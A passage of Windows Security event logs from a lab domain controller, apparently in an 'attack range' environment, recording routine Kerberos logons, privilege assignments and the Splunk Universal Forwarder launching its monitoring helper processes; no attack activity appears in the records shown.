	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xBB49E
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		62376

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:57:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=254166
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xBB49E

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:58:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254169
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x13ac
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:58:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254170
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x448
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:58:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254171
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x2ec
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:58:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254172
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x133c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:58:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254174
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x298
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:58:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254173
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf58
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:58:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254175
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x940
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:58:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=254176
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB9329

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:58:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=254179
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xBEAB8

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:58:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=254178
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xBEAB8
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		62388

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:58:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=254177
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xBEAB8

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:59:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254180
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc28
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:59:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254181
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x137c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:59:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254182
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x139c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:59:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254183
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1028
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:59:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254185
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1338
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:59:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254184
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x374
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:59:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254186
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11e4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:59:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=254189
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC20F1

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:59:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=254188
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xC20F1
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		62401

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:59:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=254187
